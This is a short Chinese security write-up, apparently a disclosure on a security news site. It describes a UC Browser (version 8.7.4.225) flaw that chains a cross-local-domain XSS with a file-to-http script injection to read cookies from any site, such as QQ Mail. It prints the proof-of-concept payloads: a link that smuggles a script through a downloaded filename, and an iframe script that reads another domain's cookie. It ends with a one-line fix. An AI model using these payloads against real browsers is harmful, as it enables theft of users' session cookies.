首页 > 安全 > 网站安全 >

UC浏览器跨本地域XSS可盗取任意域Cookie

2013-08-16

低版本的UC浏览器可以随意跨域。但高版本的做了加强了安全性,基本满足了同源策略的要求。然而一个意外的跨本地域的XSS又使得这些安全措施化为乌有....测试版本:8.7.4.225本漏洞可分为两个部分:1.跨本地xss,可...

低版本的UC浏览器可以随意跨域。但高版本的做了加强了安全性,基本满足了同源策略的要求。然而一个意外的跨本地域的XSS又使得这些安全措施化为乌有....

测试版本:8.7.4.225
漏洞可分为两个部分:
1.跨本地xss,可让http->file:
2.本地可向远程注入js。file->http。
第一个弱点:
在恶意页面构造如下代码:
xss.html
<a href=&#39;1.apk#"</a><script>alert(55)</script><!&ndash;-&#39;>下一页<a>
注意:1.apk是一个可以下载的文件。
用户点击这个链接后就会自动跳转到下载页面(如果开启了wifi优化或预读动能就无需用户点击,自动会跳转),从而触发了XSS。这个下载页面其实是本地存在的一个XHTML,这个文件路径如下:
/data/data/com.UCMobile/downloadsafe/predownloadpage.xhtml
在下载文件时,uc会修改这个xhtml,将文件名等信息写入里面,过滤不严,造成了xss。
所以这个xss具备本地域的权限。
第二个弱点:
inject.html
<script>function inject(){
var d = document.getElementById("hi").contentDocument || document.getElementById("hi").contentWindow.document
alert(d.cookie);
}
document.write("<iframe id=hi src=http://mail.qq.com onload=inject()></iframe>")
</script>

如此就可以读取qq邮箱的cookie了。
将这两个弱点结合起来,就能达到如标题所述的目的了。

拿出我的大华为P1,远程访问一个xss.html,其中“下一页”就是构造的恶意链接。
点击“下一页”,弹出了框,框框标题上写的是file,由此证明了是本地域。

弱点一证明完成。
访问本地的inject.html,以本地域的权限执行payload,弹出框框,上面都是我qq邮箱的cookie,弱点二证明完成
最后,写点题外话,祝福我将要出生的宝宝身体健康,活泼聪明~~!
修复方案:

过滤尖括号
相关文章
最新文章
热点推荐